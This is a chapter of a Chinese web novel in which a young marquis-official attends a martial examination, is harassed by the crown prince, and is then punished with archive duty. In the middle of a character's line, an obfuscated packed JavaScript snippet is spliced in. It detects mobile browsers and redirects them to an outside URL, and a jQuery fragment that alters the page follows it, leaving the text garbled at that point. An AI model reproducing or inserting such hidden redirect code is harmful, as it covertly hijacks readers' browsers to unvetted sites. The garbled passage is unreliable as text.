忠义侯府
翘了半天值,元青争傍晚回到至清楼神清气爽,想着明日一定要把盛舒宇拉去。
尚未进主屋,身后落籽拉住了她的衣袖,眼神异常可怜:“公子,你以后能不能多多想到我一些,不要总丢下我。”
元青争一看,暗道小可怜人,可是小厮就该如此啊,公子把你忘了,你自己也没跟上啊?光怪我丢下你,这不好吧?
但最终她还是把话软了下去:“公子都是有事情,才让你原地等候的,哪回没有再回来啊?对吧?”
“话是这样说,可是公子……”说着说着,落籽凑近一步,虚虚握住了她的手,将其大半都笼进了掌心,“能多带着我就多带着我,好吗?”
落籽生得比她高,元青争连身影都被笼住,略有些不自在,慌乱道:“好了好了,公子知道了。”
她赶紧转身离开,没注意落籽又被她扔在了原地。
落籽看着元青争离去的背影,慢慢将手掌贴近鼻腔,细细嗅了嗅。
他家公子不爱用香,他什么都没闻出来。
武试来到第二日,太子殿下亲自在看台为考生陈述规则:“射试,即每人十支箭,射死靶,记环数。
避试,即受十支无头箭,记躲避数,两数相加为最终分数并排名,前一百者,参加明日器搏,规则如是,比试开始——”
元盛二人老招再使,早早就来到了武试场。
只不过这次没往看台上去,甚至也没和场地里看热闹的士兵站一起,老老实实跟外围百姓站一起了。
射避之试比空手互搏进行的更快,场上立好的靶子一眼望不到头。
一排一排的考生拿着比半个人还长的硬弓等在后面,有些人甚至都拉不开这武试的重弓,还没上场就被淘汰了下去。
记零分。
“子衡加油!”元盛二人在人堆里尽力呼喊着。
看台中央又一记眼刀扫了过来,但由于距离较远,元青争也不将视线往看台偏离分毫,并没有受到影响,喊的更大声了。
“射!”
监考官一声令下,一阵箭雨“嘟嘟嘟”的不停射在靶子上,结束后唱靶:“太行开阳周慕,满环!”
此时场边走来一个太监,慢悠悠的停在他二人面前:“元小侯爷安好,太子殿下请您上看台呢。”
“……宝树公公,臣在此处十分自得,不用到看台上去,”元青争心下震惊,万分推距,“劳烦公公转达,臣多谢殿下好意。”
宝树笑道:“小侯爷还是不要为难我们这些当差的了,殿下说您若不去,就要奴才请人带您上去呢。”
这话一出,元青争自然是要乖乖跟着走的,不然最后指不定是怎么上的看台。
如今还算很有体面,是太子身边近侍来“请”,再拖下去,可说不好是几个大汉来“请”了。
她暗骂宝树笑里藏刀,自己也露出了和善的笑:“劳烦公公引路了。”
上来看台,元青争给乌泱泱围着太子的一堆人以及太子见礼:“臣刑案司知事元青争,参见太子殿下,各位大人。”
太子不语,恍若未闻。
“臣——刑案司知事元青争——参见太子殿下——各位大人——”这次加大了声音。
太子依旧不语,恍若未闻。
褚太尉在一旁心道不好:“殿下,忠义侯府的元世子来了。”
太子此时才像刚听见似的,转过头看向她:“哦,这射试看得孤入了迷,没在意……谁来了?”
元青争心里骂他狗东西:“臣,忠义侯府元青争,参见太子殿下。”
“免礼,赐座。”
“谢殿下。”
落座,她垂首抿唇,在心里骂骂咧咧。
狗东西!君臣之礼犹嫌不足,你有本事把老子的官身剥去呀?!你有本事……
你还真有本事,算了,我好不容易当的官,我还指望我能撑起我家侯府呢,我不同你一般计较。
直到射试结束,太子取过一把重弓,走到了看台边上,吩咐道:“元青争,你过来。”
这会儿元青争将伏低做小写在了脑门上,站定于太子侧后方。
咻——
白日流星。
利剑从看台破空而出,太子拉弓射箭一气呵成,直击遥远的靶心,底下几个会来事儿的官员奋力鼓掌叫好。
元青争也拍马屁道:“殿下英明神武,非常人所能及也,臣敬佩不已。”
眉梢微不可见的扬了扬,太子将弓随手往外一递,立刻就有人接了过去。
但他扭头看着面前人常服里伸出的修长脖颈,在阳光下泛着莹白,心里就是不痛快:“元青争,你嘴上抹了蜜,你心里不敬孤。”
老子还不敬?你是有什么大病吗?!
元青争面口不一,膝盖适时的软了下去:“臣不敢,臣之所言,字字属实,句句发心。”
“起来吧,”太子眼睛扫视过场内的所有考生,没有找到那个武德通天的人,“下午避试与明日器搏,孤来此之前,你最好已在此等候,不要让孤看见你给谁助威。”
不给周慕加油好办,可是怎么才能比太子来的更早呢?
元青争蹙眉道:“殿下,臣现在是刑案司的八品知事,需得日常点卯,恐怕来不了太早。”
太子心火扬起,抬脚离开:“那是你的事,不要让孤给你解决。”
射试结束,元周盛三人随意找了一个小馆子吃中饭,周慕和盛舒宇对太子的做法在心里操爹骂娘,却也只能帮着元青争想办法。
盛舒宇的想法很中肯:“今儿下午的御试好办,本来就已经出来了,不再回去就是,可明天的点卯和器搏是同时开始的,只能告病假了。”
元青争叹道:“我原本也是这么想的,可我终究要在看台那里,人山人海的,我怕会被有心之人利用,说我不思上进,告虚假。”
周慕给她夹菜:“让你的小厮穿上官服,到刑案司给你点卯如何?”
元青争夹给他一根鸡腿:“你先吃饱饭吧,别思虑我的事了,你才是重中之重,这几日可都要养护好自己的身体。”
“那就只剩下一个办法了,”盛舒宇放下筷子,道,“跟魏司伯实话实说吧,下午你终究是不得空了,我回司里去帮你说。”
元青争食不知味:“那就这么办吧,多谢你了,复光。”
咚、咚、咚、咚!
几声鼓响,武试场安静了下来。
太子在看台宣布避试规则:“避试,由□□射出十支无头箭,原矢处包布,敷以石灰粉。
十箭过后,躲过几箭,记相应分数,接住记双倍分数,规则如是,避试开始——”
此一项分为四个场地,每一场地都有百人□□结成的方阵,弓箭虽被拿掉了箭矢,但重弓之下许多人躲避不及,中箭后依旧被逼的直退好几丈,让人望而却步。
看热闹的兵士和百姓“哎呦”之声此起彼伏。
待到周慕上场,元青争攥着拳,在看台上眼巴巴的望着。
咻咻咻——
一阵箭雨后,整个场地议论的声音陡然增大:
“天呐,那边那个考生也太厉害了吧,十支箭居然全都接住了!”
“诶,你们不觉得这个考生有些眼熟吗?我总觉得在哪里见过他?”
“你是眼花,还是失心疯啊?你上哪里能认识这么厉害的人?”
“我想起来了!前些日子大街上尾吊鱼皮的长队!和状元
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776023|174727||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
郎、小侯爷一起打头的,不正是他吗?!”
武试第三天,魏司伯给元青争记了一日假,此刻她正站在太子斜后方,旁边都是一些品级较高的朝中大员。
如芒在背。
太子宣布器搏规则:“诸生武器自选,亦可自带,不得以命相搏,不得暗器伤人,点到为止。
以现有分数为准,前一百人参加器搏,由最后一名开启回合制,倒一加零分,倒二加一分,以此类推,规则如是,比试开始——”
周慕的分数暂排第一,在人们下午百无聊赖之时,他穿着武试服,带着本命长刀上了擂台。
按照规则,只要打赢了擂台上的这个大汉,他就还是第一,反之,就要一个一个的打下去,直到打贏。
器搏可谓武试里的重头戏,场内场外看热闹的人比前两天多了一倍不止,大家都兴致勃勃,紧紧盯着擂台上的两人。
一声锣响,二人开始出手试探对方的实力,大汉不容小觑,他只经过一场就遇到了周慕,两个人都很谨慎。
转过几圈后,大汉先动手了。
他手中一柄长剑攻的是周慕下三路,周慕身形迅疾,一步纵跃,落到了他的身后,转身踢腿,却被大汉用剑鞘死死挡住了。
周慕长刀出鞘!二人打得昏天暗地。
直到大汉长剑脱手,周慕一掌拍在了他的胸口上,监考官敲锣:“周慕胜。”
“哇——”
惊叹骤起,周慕将手伸向坐在地上未曾起来的大汉:“兄弟,以后你我同朝为官,今日结个好缘法?”
大汉轻笑一声,将手握了上去,起身道:“好,我们一起报效朝廷。”
周慕不置可否,抱拳道:“在下太行武极巅周慕,字子衡。”
“原来我竟败给了武极巅的人,好吧,不亏。”大汉也抱拳,“在下临青琅琊庞宠,字十归,无师承。”
太行州与临青州毗邻于平京,武极巅享誉大梁武林,但一个无师承的人居然在武试里打到了现在,只能感叹一声,人外有人。
而本届武试,只剩下了最后一项:“武略”。
武试场
武试第四天,武略专注的是考生们对战场的分析,题目由太子现场提出,众考生在考纸上作答。
露天考场清空无关兵士与百姓,笔墨纸砚由朝廷提供。
太子依旧在考前讲述规则:“请诸生以我军一万对阵敌军一万于乌水为题。
结合《吴起兵法》,论如何养兵,能够以最小的损失取得胜利,写八百字策论,交卷后即可离场。
放榜日,自行前去榜下查看成绩,孤愿诸位心想事成,马到成功!”
刑案司里,元盛二人看着手中崭新的绿色暗纹缎面官袍,心中俱是欣喜不已。
“护城河怪”一案,二人品级皆升了半级,从七品,官号员外,官服上有了暗纹,腰带从一块玉饰变成了五块玉饰,官帽未变。
元青争心内感慨。
真希望老子有朝一日能成为一品官员,到时候穿着紫色暗纹官服配五玉皮带,镶双玉乌纱冠,必然威风更甚!
魏司伯轻咳一声,道:“近日刑案司不算忙碌,本官这里没有什么大案,但琐事不少,你二人可愿为本官分忧?”
元盛二人捧着新官服,恭敬道:“必不负司伯所托。”
“本官看你们这几日对文书局的了解并不够透彻,可见文书放置极其杂乱,所以……”
魏司伯笑得要多诡异就有多诡异,“你们就去打扫文书局吧,所有的文书卷宗也归纳整理一遍,什么时候整理好了,什么时候再接新案子。”
……这是两人以探案之名偷跑出去,看武试被抓包的后果。
元青争头疼。